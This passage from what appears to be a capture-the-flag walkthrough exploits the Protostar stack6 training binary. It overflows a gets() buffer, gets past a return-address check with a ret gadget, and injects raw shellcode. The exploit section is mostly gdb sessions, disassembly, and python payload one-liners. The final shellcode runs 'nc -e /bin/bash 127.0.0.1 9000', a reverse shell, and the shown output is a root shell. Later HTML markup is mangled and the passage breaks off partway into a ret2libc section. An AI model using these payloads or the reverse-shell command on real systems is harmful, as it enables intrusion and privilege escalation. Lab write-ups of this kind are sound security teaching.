int main(int argc, char **argv)
{
  getpath();



}

The buffer overflow is on line 13, the application then gets the function return address on line 15 and checks it on line 17.

If the return address begins with bf the application exits, stack addresses normally begin with bf so you cannot just overwrite it with an address on the stack.

One other thing to notice here is that the vulnerable line is using the gets function, this function will only stop once it reaches a newline (\n) or end of file (EOF) character so we do not need to avoid null (\0) characters.

Stack6: The Easy Way

While I've written this post to demonstrate Ret2Libc and ROP we can get our shellcode to run on these 2 challenges using the exact same method which I'll explain quickly here.

So our buffer is 64 bytes long, we have the local variable ret which is 4 bytes, then we have the saved EBP from main's stack frame and finally the return address, its worth noting that the stack has to be 16 byte aligned so 8 will need to be added before you get to the return address. So we need to write 64+4+4+8 = 80 bytes before we overwrite the return address and hijack EIP.

Lets test this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ bash
[email protected]:~$ cd /opt/protostar/bin/
[email protected]:/opt/protostar/bin$ python -c 'print "A"*80' > /tmp/t
[email protected]:/opt/protostar/bin$ python -c 'print "A"*84' > /tmp/t2
[email protected]:/opt/protostar/bin$ gdb -q ./stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) r < /tmp/t
Starting program: /opt/protostar/bin/stack6 < /tmp/t
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA� �

Program received signal SIGSEGV, Segmentation fault.
0x08048507 in main (argc=Cannot access memory at address 0x41414149
) at stack6/stack6.c:31
31  stack6/stack6.c: No such file or directory.
    in stack6/stack6.c
(gdb) r < /tmp/t2
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack6 < /tmp/t2
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

So we were correct, we can now test what happens if we write an address beginning with bf:

1
2
[email protected]:/opt/protostar/bin$ python -c 'print "A"*80 + "\x00\x00\x00\xbf"' | ./stack6
input path please: bzzzt (0xbf000000)

As you can see we've hit the printf inside the if statement and exited without seg faulting.

If there was a jmp esp or ff e4 in the application code we could use the same method we used in the beating ASLR post but that isn't the case here.

We can still run our shellcode though using a slightly more complex method, the application is only checking the return address of the current function (note the argument to the __builtin_return_address function call), so we just need to make sure that this address doesn't start with bf.

We'll do this by using 1 ROP "gadget", let's first find the address of our gadget:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
[email protected]:/opt/protostar/bin$ objdump -d ./stack6 -M intel

./stack6:     file format elf32-i386


Disassembly of section .init:

08048330 <_init>:
 8048330:   55                      push   ebp
 8048331:   89 e5                   mov    ebp,esp
 8048333:   53                      push   ebx
 8048334:   83 ec 04                sub    esp,0x4
 8048337:   e8 00 00 00 00          call   804833c <_init+0xc>
 804833c:   5b                      pop    ebx
 804833d:   81 c3 b0 13 00 00       add    ebx,0x13b0
 8048343:   8b 93 fc ff ff ff       mov    edx,DWORD PTR [ebx-0x4]
 8048349:   85 d2                   test   edx,edx
 804834b:   74 05                   je     8048352 <_init+0x22>
 804834d:   e8 1e 00 00 00          call   8048370 <[email protected]>
 8048352:   e8 09 01 00 00          call   8048460 <frame_dummy>
 8048357:   e8 24 02 00 00          call   8048580 <__do_global_ctors_aux>
 804835c:   58                      pop    eax
 804835d:   5b                      pop    ebx
 804835e:   c9                      leave  
 804835f:   c3                      ret    

Disassembly of section .plt:

08048360 <[email protected]-0x10>:
 8048360:   ff 35 f0 96 04 08       push   DWORD PTR ds:0x80496f0
 8048366:   ff 25 f4 96 04 08       jmp    DWORD PTR ds:0x80496f4
 804836c:   00 00                   add    BYTE PTR [eax],al
    ...

08048370 <[email protected]>:
 8048370:   ff 25 f8 96 04 08       jmp    DWORD PTR ds:0x80496f8
 8048376:   68 00 00 00 00          push   0x0
 804837b:   e9 e0 ff ff ff          jmp    8048360 <_init+0x30>

08048380 <[email protected]>:
 8048380:   ff 25 fc 96 04 08       jmp    DWORD PTR ds:0x80496fc
 8048386:   68 08 00 00 00          push   0x8
 804838b:   e9 d0 ff ff ff          jmp    8048360 <_init+0x30>

08048390 <[email protected]>:
 8048390:   ff 25 00 97 04 08       jmp    DWORD PTR ds:0x8049700
 8048396:   68 10 00 00 00          push   0x10
 804839b:   e9 c0 ff ff ff          jmp    8048360 <_init+0x30>

080483a0 <[email protected]>:
 80483a0:   ff 25 04 97 04 08       jmp    DWORD PTR ds:0x8049704
 80483a6:   68 18 00 00 00          push   0x18
 80483ab:   e9 b0 ff ff ff          jmp    8048360 <_init+0x30>

080483b0 <[email protected]>:
 80483b0:   ff 25 08 97 04 08       jmp    DWORD PTR ds:0x8049708
 80483b6:   68 20 00 00 00          push   0x20
 80483bb:   e9 a0 ff ff ff          jmp    8048360 <_init+0x30>

080483c0 <[email protected]>:
 80483c0:   ff 25 0c 97 04 08       jmp    DWORD PTR ds:0x804970c
 80483c6:   68 28 00 00 00          push   0x28
 80483cb:   e9 90 ff ff ff          jmp    8048360 <_init+0x30>

Disassembly of section .text:

080483d0 <_start>:
 80483d0:   31 ed                   xor    ebp,ebp
 80483d2:   5e                      pop    esi
 80483d3:   89 e1                   mov    ecx,esp
 80483d5:   83 e4 f0                and    esp,0xfffffff0
 80483d8:   50                      push   eax
 80483d9:   54                      push   esp
 80483da:   52                      push   edx
 80483db:   68 10 85 04 08          push   0x8048510
 80483e0:   68 20 85 04 08          push   0x8048520
 80483e5:   51                      push   ecx
 80483e6:   56                      push   esi
 80483e7:   68 fa 84 04 08          push   0x80484fa
 80483ec:   e8 9f ff ff ff          call   8048390 <[email protected]>
 80483f1:   f4                      hlt    
 80483f2:   90                      nop
 80483f3:   90                      nop
 80483f4:   90                      nop
 80483f5:   90                      nop
 80483f6:   90                      nop
 80483f7:   90                      nop
 80483f8:   90                      nop
 80483f9:   90                      nop
 80483fa:   90                      nop
 80483fb:   90                      nop
 80483fc:   90                      nop
 80483fd:   90                      nop
 80483fe:   90                      nop
 80483ff:   90                      nop

08048400 <__do_global_dtors_aux>:
 8048400:   55                      push   ebp
 8048401:   89 e5                   mov    ebp,esp
 8048403:   53                      push   ebx
 8048404:   83 ec 04                sub    esp,0x4
 8048407:   80 3d 24 97 04 08 00    cmp    BYTE PTR ds:0x8049724,0x0
 804840e:   75 3f                   jne    804844f <__do_global_dtors_aux+0x4f>
 8048410:   a1 28 97 04 08          mov    eax,ds:0x8049728
 8048415:   bb 10 96 04 08          mov    ebx,0x8049610
 804841a:   81 eb 0c 96 04 08       sub    ebx,0x804960c
 8048420:   c1 fb 02                sar    ebx,0x2
 8048423:   83 eb 01                sub    ebx,0x1
 8048426:   39 d8                   cmp    eax,ebx
 8048428:   73 1e                   jae    8048448 <__do_global_dtors_aux+0x48>
 804842a:   8d b6 00 00 00 00       lea    esi,[esi+0x0]
 8048430:   83 c0 01                add    eax,0x1
 8048433:   a3 28 97 04 08          mov    ds:0x8049728,eax
 8048438:   ff 14 85 0c 96 04 08    call   DWORD PTR [eax*4+0x804960c]
 804843f:   a1 28 97 04 08          mov    eax,ds:0x8049728
 8048444:   39 d8                   cmp    eax,ebx
 8048446:   72 e8                   jb     8048430 <__do_global_dtors_aux+0x30>
 8048448:   c6 05 24 97 04 08 01    mov    BYTE PTR ds:0x8049724,0x1
 804844f:   83 c4 04                add    esp,0x4
 8048452:   5b                      pop    ebx
 8048453:   5d                      pop    ebp
 8048454:   c3                      ret    
 8048455:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]
 8048459:   8d bc 27 00 00 00 00    lea    edi,[edi+eiz*1+0x0]

08048460 <frame_dummy>:
 8048460:   55                      push   ebp
 8048461:   89 e5                   mov    ebp,esp
 8048463:   83 ec 18                sub    esp,0x18
 8048466:   a1 14 96 04 08          mov    eax,ds:0x8049614
 804846b:   85 c0                   test   eax,eax
 804846d:   74 12                   je     8048481 <frame_dummy+0x21>
 804846f:   b8 00 00 00 00          mov    eax,0x0
 8048474:   85 c0                   test   eax,eax
 8048476:   74 09                   je     8048481 <frame_dummy+0x21>
 8048478:   c7 04 24 14 96 04 08    mov    DWORD PTR [esp],0x8049614
 804847f:   ff d0                   call   eax
 8048481:   c9                      leave  
 8048482:   c3                      ret    
 8048483:   90                      nop

08048484 <getpath>:
 8048484:   55                      push   ebp
 8048485:   89 e5                   mov    ebp,esp
 8048487:   83 ec 68                sub    esp,0x68
 804848a:   b8 d0 85 04 08          mov    eax,0x80485d0
 804848f:   89 04 24                mov    DWORD PTR [esp],eax
 8048492:   e8 29 ff ff ff          call   80483c0 <[email protected]>
 8048497:   a1 20 97 04 08          mov    eax,ds:0x8049720
 804849c:   89 04 24                mov    DWORD PTR [esp],eax
 804849f:   e8 0c ff ff ff          call   80483b0 <[email protected]>
 80484a4:   8d 45 b4                lea    eax,[ebp-0x4c]
 80484a7:   89 04 24                mov    DWORD PTR [esp],eax
 80484aa:   e8 d1 fe ff ff          call   8048380 <[email protected]>
 80484af:   8b 45 04                mov    eax,DWORD PTR [ebp+0x4]
 80484b2:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80484b5:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 80484b8:   25 00 00 00 bf          and    eax,0xbf000000
 80484bd:   3d 00 00 00 bf          cmp    eax,0xbf000000
 80484c2:   75 20                   jne    80484e4 <getpath+0x60>
 80484c4:   b8 e4 85 04 08          mov    eax,0x80485e4
 80484c9:   8b 55 f4                mov    edx,DWORD PTR [ebp-0xc]
 80484cc:   89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80484d0:   89 04 24                mov    DWORD PTR [esp],eax
 80484d3:   e8 e8 fe ff ff          call   80483c0 <[email protected]>
 80484d8:   c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 80484df:   e8 bc fe ff ff          call   80483a0 <[email protected]>
 80484e4:   b8 f0 85 04 08          mov    eax,0x80485f0
 80484e9:   8d 55 b4                lea    edx,[ebp-0x4c]
 80484ec:   89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80484f0:   89 04 24                mov    DWORD PTR [esp],eax
 80484f3:   e8 c8 fe ff ff          call   80483c0 <[email protected]>
 80484f8:   c9                      leave  
 80484f9:   c3                      ret    

080484fa <main>:
 80484fa:   55                      push   ebp
 80484fb:   89 e5                   mov    ebp,esp
 80484fd:   83 e4 f0                and    esp,0xfffffff0
 8048500:   e8 7f ff ff ff          call   8048484 <getpath>
 8048505:   89 ec                   mov    esp,ebp
 8048507:   5d                      pop    ebp
 8048508:   c3                      ret    
 8048509:   90                      nop
 804850a:   90                      nop
 804850b:   90                      nop
 804850c:   90                      nop
 804850d:   90                      nop
 804850e:   90                      nop
 804850f:   90                      nop

08048510 <__libc_csu_fini>:
 8048510:   55                      push   ebp
 8048511:   89 e5                   mov    ebp,esp
 8048513:   5d                      pop    ebp
 8048514:   c3                      ret    
 8048515:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]
 8048519:   8d bc 27 00 00 00 00    lea    edi,[edi+eiz*1+0x0]

08048520 <__libc_csu_init>:
 8048520:   55                      push   ebp
 8048521:   89 e5                   mov    ebp,esp
 8048523:   57                      push   edi
 8048524:   56                      push   esi
 8048525:   53                      push   ebx
 8048526:   e8 4f 00 00 00          call   804857a <__i686.get_pc_thunk.bx>
 804852b:   81 c3 c1 11 00 00       add    ebx,0x11c1
 8048531:   83 ec 1c                sub    esp,0x1c
 8048534:   e8 f7 fd ff ff          call   8048330 <_init>
 8048539:   8d bb 18 ff ff ff       lea    edi,[ebx-0xe8]
 804853f:   8d 83 18 ff ff ff       lea    eax,[ebx-0xe8]
 8048545:   29 c7                   sub    edi,eax
 8048547:   c1 ff 02                sar    edi,0x2
 804854a:   85 ff                   test   edi,edi
 804854c:   74 24                   je     8048572 <__libc_csu_init+0x52>
 804854e:   31 f6                   xor    esi,esi
 8048550:   8b 45 10                mov    eax,DWORD PTR [ebp+0x10]
 8048553:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048557:   8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 804855a:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804855e:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048561:   89 04 24                mov    DWORD PTR [esp],eax
 8048564:   ff 94 b3 18 ff ff ff    call   DWORD PTR [ebx+esi*4-0xe8]
 804856b:   83 c6 01                add    esi,0x1
 804856e:   39 fe                   cmp    esi,edi
 8048570:   72 de                   jb     8048550 <__libc_csu_init+0x30>
 8048572:   83 c4 1c                add    esp,0x1c
 8048575:   5b                      pop    ebx
 8048576:   5e                      pop    esi
 8048577:   5f                      pop    edi
 8048578:   5d                      pop    ebp
 8048579:   c3                      ret    

0804857a <__i686.get_pc_thunk.bx>:
 804857a:   8b 1c 24                mov    ebx,DWORD PTR [esp]
 804857d:   c3                      ret    
 804857e:   90                      nop
 804857f:   90                      nop

08048580 <__do_global_ctors_aux>:
 8048580:   55                      push   ebp
 8048581:   89 e5                   mov    ebp,esp
 8048583:   53                      push   ebx
 8048584:   83 ec 04                sub    esp,0x4
 8048587:   a1 04 96 04 08          mov    eax,ds:0x8049604
 804858c:   83 f8 ff                cmp    eax,0xffffffff
 804858f:   74 13                   je     80485a4 <__do_global_ctors_aux+0x24>
 8048591:   bb 04 96 04 08          mov    ebx,0x8049604
 8048596:   66 90                   xchg   ax,ax
 8048598:   83 eb 04                sub    ebx,0x4
 804859b:   ff d0                   call   eax
 804859d:   8b 03                   mov    eax,DWORD PTR [ebx]
 804859f:   83 f8 ff                cmp    eax,0xffffffff
 80485a2:   75 f4                   jne    8048598 <__do_global_ctors_aux+0x18>
 80485a4:   83 c4 04                add    esp,0x4
 80485a7:   5b                      pop    ebx
 80485a8:   5d                      pop    ebp
 80485a9:   c3                      ret    
 80485aa:   90                      nop
 80485ab:   90                      nop

Disassembly of section .fini:

080485ac <_fini>:
 80485ac:   55                      push   ebp
 80485ad:   89 e5                   mov    ebp,esp
 80485af:   53                      push   ebx
 80485b0:   83 ec 04                sub    esp,0x4
 80485b3:   e8 00 00 00 00          call   80485b8 <_fini+0xc>
 80485b8:   5b                      pop    ebx
 80485b9:   81 c3 34 11 00 00       add    ebx,0x1134
 80485bf:   e8 3c fe ff ff          call   8048400 <__do_global_dtors_aux>
 80485c4:   59                      pop    ecx
 80485c5:   5b                      pop    ebx
 80485c6:   c9                      leave  
 80485c7:   c3                      ret

All we're looking for here is a ret instruction, there are a few, we'll use the 1 on line 258, the address of this is 80485a9 so this will be our return address.

After the return address we insert some junk data (4 bytes) and then we will put the address of our shellcode.

First let's find the address that our shellcode will be at, this needs to be done in 2 terminals:

1
2
[email protected]:/opt/protostar/bin$ ./stack6
input path please:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
[email protected]:/# ps ax | grep stack6
 2221 pts/0    S+     0:00 ./stack6
 2268 pts/1    S+     0:00 grep stack6
[email protected]:/# gdb -q -p 2221
Attaching to process 2221
Reading symbols from /opt/protostar/bin/stack6...done.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82  ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S
(gdb) set disassembly-flavor intel
Current language:  auto
The current source language is "auto; currently asm".
(gdb) disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   ebp
0x08048485 <getpath+1>: mov    ebp,esp
0x08048487 <getpath+3>: sub    esp,0x68
0x0804848a <getpath+6>: mov    eax,0x80485d0
0x0804848f <getpath+11>:    mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:    call   0x80483c0 <[email protected]>
0x08048497 <getpath+19>:    mov    eax,ds:0x8049720
0x0804849c <getpath+24>:    mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:    call   0x80483b0 <[email protected]>
0x080484a4 <getpath+32>:    lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:    mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:    call   0x8048380 <[email protected]>
0x080484af <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:    and    eax,0xbf000000
0x080484bd <getpath+57>:    cmp    eax,0xbf000000
0x080484c2 <getpath+62>:    jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:    mov    eax,0x80485e4
0x080484c9 <getpath+69>:    mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:    mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:    mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:    call   0x80483c0 <[email protected]>
0x080484d8 <getpath+84>:    mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:    call   0x80483a0 <[email protected]>
0x080484e4 <getpath+96>:    mov    eax,0x80485f0
0x080484e9 <getpath+101>:   lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:   mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:   mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:   call   0x80483c0 <[email protected]>
0x080484f8 <getpath+116>:   leave  
0x080484f9 <getpath+117>:   ret    
End of assembler dump.
(gdb) break *0x080484af
Breakpoint 1 at 0x80484af: file stack6/stack6.c, line 15.
(gdb) c
Continuing.
1
AAAAAAAAAAAA
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Breakpoint 1, getpath () at stack6/stack6.c:15
15  stack6/stack6.c: No such file or directory.
    in stack6/stack6.c
Current language:  auto
The current source language is "auto; currently c".
(gdb) x/20xw $esp
0xbffff770: 0xbffff78c  0x00000000  0xb7fe1b28  0x00000001
0xbffff780: 0x00000000  0x00000001  0xb7fff8f8  0x41414141
0xbffff790: 0x41414141  0x41414141  0xbffff700  0xb7eada75
0xbffff7a0: 0xb7fd7ff4  0x080496ec  0xbffff7b8  0x0804835c
0xbffff7b0: 0xb7ff1040  0x080496ec  0xbffff7e8  0x08048539

This means our payload will start at 0xbffff780+0xc = 0xbffff78c.

For this challenge I will put the shellcode at the end of the payload, we know the starting address of our payload and how many bytes until the shellcode so our shellcode will be at 0xbffff78c+0x58 = 0xbffff7e4.

I first tried with a normal shellcode that I had written but it didn't work:

1
2
3
4
5
[email protected]:/opt/protostar/bin$ python -c 'print "A"*80 + "\xa9\x85\x04\x08" + "\xe4\xf7\xff\xbf" + "\xeb\x25\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\xb0\x0b\x31\xd2\xb2\x09\x42\x89\x1c\x13\x31\xc9\x89\x4b\x0e\x8d\x0c\x13\x8d\x53\x0e\xcd\x80\xe8\xd6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA�������%1�̀��[�C  �
                                                                                                                                 1Ҳ B�1ɉK�/span/span
span class="code-line"span class="go"       �S̀�����/bin/bashABBBBCCCC/span/span
span class="code-line"span class="gp"[email protected]:/opt/protostar/bin$/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSo it launched... Don't know what happened here, after some investigation I decided that it did actually run code/bin/bash/code but exited straight away./p
pAfter some thinking I decide that I'm going to get codeexecve/code to run codebash/code and that to run codenc/code to execute a shell, there are plenty of ways to get a shell in this situation, creating a script and running that, running codenc/code directly..., this was just the first 1 that come to mind for me./p
pcodenc/code or a href="http://netcat.sourceforge.net/" target="_blank"netcat/a is a handy networking tool that can be used for a number of things, here we will use it to execute a shell./p
pSo I rewrote the shellcode, started codenc/code listening on port 9000 in 1 terminal:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"[email protected]:~$ /spannc -l -p span class="m"9000/span/span
span class="code-line"/code/pre/div
/td/tr/table
pAnd then launched the exploit with the new shellcode:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"[email protected]:/opt/protostar/bin$ /spanpython -c span class="s1"#39;print quot;Aquot;*80 + quot;\xa9\x85\x04\x08quot; + quot;\xe4\xf7\xff\xbfquot; + quot;\xeb\x37\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\x88\x43\x0c\x88\x43\x2b\xb0\x0b\x31\xd2\xb2\x09\x42\x89\x5b\x2c\x8d\x0c\x13\x89\x4b\x30\x8d\x4b\x0d\x89\x4b\x34\x31\xc9\x89\x4b\x38\x8d\x4b\x2c\x8d\x53\x34\xcd\x80\xe8\xc4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x2d\x63\x42\x6e\x63\x20\x2d\x65\x20\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x20\x39\x30\x30\x30\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46\x47\x47\x47\x47quot;#39;/span span class="p"|/span ./stack6/span
span class="code-line"span class="go"input path please: got path 1�̀��[�C    �C/span/span
span class="code-line"span class="go"                                                                                                                                  �C+�/span/span
span class="code-line"span class="go"                                                                                                                                      1ҲB�[,�/span/span
span class="code-line"span class="go"�K41ɉK8�K,�S4̀�����/bin/bashA-cBnc -e /bin/bash 127.0.0.1 9000CDDDDEEEEFFFFGGGG/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"ls/span/span
span class="code-line"span class="go"final0/span/span
span class="code-line"span class="go"final1/span/span
span class="code-line"span class="go"final2/span/span
span class="code-line"span class="go"format0/span/span
span class="code-line"span class="go"format1/span/span
span class="code-line"span class="go"format2/span/span
span class="code-line"span class="go"format3/span/span
span class="code-line"span class="go"format4/span/span
span class="code-line"span class="go"heap0/span/span
span class="code-line"span class="go"heap1/span/span
span class="code-line"span class="go"heap2/span/span
span class="code-line"span class="go"heap3/span/span
span class="code-line"span class="go"net0/span/span
span class="code-line"span class="go"net1/span/span
span class="code-line"span class="go"net2/span/span
span class="code-line"span class="go"net3/span/span
span class="code-line"span class="go"net4/span/span
span class="code-line"span class="go"stack0/span/span
span class="code-line"span class="go"stack1/span/span
span class="code-line"span class="go"stack2/span/span
span class="code-line"span class="go"stack3/span/span
span class="code-line"span class="go"stack4/span/span
span class="code-line"span class="go"stack5/span/span
span class="code-line"span class="go"stack6/span/span
span class="code-line"span class="go"stack7/span/span
span class="code-line"span class="go"whoami/span/span
span class="code-line"span class="go"root/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSo, we can still run our shellcode, we just have an extra step to bypass the check that is done on the return address./p
h2Stack6: Ret2Libc and ROP/h2
pHere we will recreate the exact same exploit for the same application but without using any shellcode./p
pFirst its easiest if we create what we want to run in C first:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="n"setuid/spanspan class="p"(/spanspan class="mi"0/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="n"execve/spanspan class="p"(/spanspan class="s"quot;/bin/bashquot;/spanspan class="p",/spanspan class="w" /spanspan class="p"{/spanspan class="w" /spanspan class="s"quot;/bin/bashquot;/spanspan class="p",/spanspan class="w" /spanspan class="s"quot;-cquot;/spanspan class="p",/spanspan class="w" /spanspan class="s"quot;nc -e /bin/bash 127.0.0.1 9000quot;/spanspan class="w" /spanspan class="p"},/spanspan class="w" /spanspan class="nb"NULL/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSo we need to find the addresses of both codesetuid/code and codeexecve/code, we use codegdb/code for this:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"[email protected]:/opt/protostar/bin$ /spangdb -q ./stack6/span
span class="code-line"span class="go"Reading symbols from /opt/protostar/bin/stack6...done./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"disassemble main/span/span
span class="code-line"span class="go"Dump of assembler code for function main:/span/span
span class="code-line"span class="go"0x080484fa lt;main+0gt;:    push   %ebp/span/span
span class="code-line"span class="go"0x080484fb lt;main+1gt;:    mov    %esp,%ebp/span/span
span class="code-line"span class="go"0x080484fd lt;main+3gt;:    and    $0xfffffff0,%esp/span/span
span class="code-line"span class="go"0x08048500 lt;main+6gt;:    call   0x8048484 lt;getpathgt;/span/span
span class="code-line"span class="go"0x08048505 lt;main+11gt;:   mov    %ebp,%esp/span/span
span class="code-line"span class="go"0x08048507 lt;main+13gt;:   pop    %ebp/span/span
span class="code-line"span class="go"0x08048508 lt;main+14gt;:   ret    /span/span
span class="code-line"span class="go"End of assembler dump./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"break *0x080484fa/span/span
span class="code-line"span class="go"Breakpoint 1 at 0x80484fa: file stack6/stack6.c, line 26./span/span
